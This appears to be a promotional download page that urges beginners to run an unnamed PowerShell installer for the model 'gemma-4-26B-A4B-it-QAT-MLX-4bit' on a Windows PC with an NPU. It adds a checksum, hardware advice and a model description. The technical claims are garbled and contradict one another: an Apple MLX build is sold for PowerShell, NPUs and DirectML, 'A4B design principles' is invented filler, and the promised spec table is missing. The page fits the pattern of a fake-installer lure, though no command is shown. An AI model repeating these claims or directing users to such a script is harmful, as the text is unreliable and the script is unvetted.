Deploy gemma-4-26B-A4B-it-QAT-MLX-4bit PC with NPU with 1M Context For Beginners

Running this model locally is fastest when deployed through a PowerShell script.

Carefully read and apply the steps described below.

The tool automatically synchronizes and downloads the model database.

The installer will automatically analyze your hardware and select the optimal configuration.

🛡️ Checksum: edf28a745f00c1e17307402572ae8d34 — ⏰ Updated on: 2026-07-01 Verify Processor: 4.0 GHz+ boost clock recommended for CPU inference RAM: high-speed DDR5 memory preferred for CPU offloading Disk Space: required: fast PCIe 4.0 drive for instant boots GPU: 16 GB+ video memory highly recommended for exl2 / AWQ formats

gemma-4-26B-A4B-it-QAT-MLX-4bit is a large language model built on the Gemma architecture with 26 billion parameters and optimized for instruction following. It leverages A4B design principles to improve inference efficiency while maintaining high fidelity in generation tasks. Through quantized aware training (QAT) and MLX optimizations, the model achieves compact 4‑bit representation without significant loss in accuracy. The resulting model excels in multilingual understanding, reasoning, and code generation, making it suitable for both research and production environments. Its reduced memory footprint enables deployment on consumer hardware and edge devices, broadening accessibility for developers. A quick reference of its core specs is provided below.

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• Setup utility enabling DirectML processing pathways for modern Arc graphics cards
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